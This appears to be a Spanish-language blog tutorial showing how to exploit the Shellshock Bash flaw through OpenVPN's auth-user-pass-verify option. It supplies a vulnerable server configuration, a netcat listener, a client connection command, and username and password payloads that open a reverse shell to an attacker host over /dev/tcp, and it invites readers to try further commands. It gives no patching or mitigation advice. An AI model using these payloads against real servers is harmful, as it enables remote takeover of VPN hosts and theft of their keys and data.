Hola estimados,
Siguiendo con el trending topic de ShellShock, nos dimos cuenta que los servidores basados en OpenVPN son vulnerables al problema del Bash.
OpenVPN posee varias opciones de configuración que pueden llamar comandos personalizados durante diferentes etapas del tunnel session. Muchos de estos comandos son llamados con variables de entorno, y algunas de las cuales pueden ser controladas por clientes de este. Una opción usada para la autenticación (username+password) es "auth-user-pass-verify". Si el script llamado usa un shell vulnerable, el cliente simplemente puede enviar el exploit con el payload modificando esos dos parámetros. Este vector de ataque, como podrán imaginar, puede resultar dañino.
Funciona así:
La opción ejecuta un script, definido por el administrador, mediante el interprete de línea de comandos para validar los nombres de usuario y contraseñas proporcionados por los clientes. Esto abre la posibilidad de que ciertos clientes envíen nombres de usuario y contraseñas formados maliciosamente, para explotar la vulnerabilidad Shellshock cuando esos datos sean pasados a Bash como cadenas. Diabólicamente genial... desde un punto de vista académico, claro está.
Configuremos un ejemplo. Si deseas saber como se instala un servidor con OpenVPN sigue este manual. Asumamos que el servidor tiene esta configuración en el archivo server.config:
- ### server.conf
- port 1194
- proto udp
- dev tun
- client-cert-not-required # Para que no pida certificados al cliente
- auth-user-pass-verify /etc/openvpn/user.sh via-env
- tmp-dir "/etc/openvpn/tmp"
- ca ca.crt
- cert testing.crt
- key testing.key # Este archivo debería mantenerse como secreto de estado
- dh dh1024.pem
- server 10.8.0.0 255.255.255.0 # IP y máscara de prueba
- keepalive 10 120
- comp-lzo
- user nobody
- group nogroup
- persist-key
- persist-tun
- client-cert-not-required
- plugin /usr/lib/openvpn/openvpn-auth-pam.so login
- script-security 3
- status openvpn-status.log
- verb 3
Verificamos que tanto el usuario como la clave, puedan recibir literales de cadena como valores:
- ### user.sh
- #!/bin/bash
- echo "$username"
- echo "$password"
Iniciamos el servidor:
- ### Inicio del servidor
- openvpn tus_parametros_de_inicio
En un terminal aparte ponemos a escuchar con el NetCat, el puerto 4444:
- ### terminal 1
- nc -lp 4444
En un segundo terminal conectamos un cliente al servidor. Usaré la IP de ejemplo 10.10.0.52, además en el parámetro --ca estoy pasando un certificado (de todas formas no serviría puesto que arriba se configuró así):
- ### terminal 2
- sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca tuCertificado.cert --auth-nocache --comp-lzo
Acá viene la maña! Cuando nos pida usuario y clave, ponemos esto:
- ### usuario && clave ambas son "shellshockeadas"
- user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
- pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
Explicación
Aplicamos ShellShock a través de cada parámetro (username y password). Básicamente le dijimos al puerto (en /dev/tcp/xxx.xxx.xxx.xxx/4444) que switcheara los file descriptors. Bien, lección Linux 101:
La expresión "0>&1" proviene de un concepto llamado file descriptor, que es usado generalmente en sistemas operativos tipo POSIX. En la terminología de Microsoft Windows y en el contexto de la biblioteca stdio, se prefiere el término "manipulador de archivos" o "manipulador de ficheros", ya que es técnicamente un objeto diferente. En POSIX, un descriptor de archivo es un entero, específicamente del tipo int de C. Hay 3 descriptores de archivo estándar de POSIX que presumiblemente tiene cada proceso, salvo quizá los demonios:
Valor entero | Nombre |
---|---|
0 | Entrada estándar (stdin) |
1 | Salida estándar (stdout) |
2 | Error estándar (stderr) |
Una forma de referirse a ellas es usando, según el lenguaje de programación y el entorno letras mayúsculas o minúsculas, los nombres STDIN, STDOUT y STDERR.
El shell del sistema es el encargado, generalmente, de abrir esta entrada y conectarla con el terminal al que está asignado el programa, puesto que es el programa más usual para comunicarse con un operador. Acá convertimos el STDIN en STDOUT... ¿por qué?
STDOUT determina el destino del resultado de un programa o proceso, por defecto es la pantalla y se muestra el resultado en la consola de la terminal, sin embargo puede redirigirse hacia un archivo, por ejemplo. Si ya les pasó por la cabeza, si... es para hacernos del control del servidor en forma remota por medio del servicio OpenVPN.
Lo que queda es fijarse en el log, te mostrará una info muy interesante acerca del certificado y otras cosillas. Les dejo la inquietud rebotando en sus cabezas... tírense al agua y prueben otros comandos.
Nos vemos gente!
No hay comentarios.:
Publicar un comentario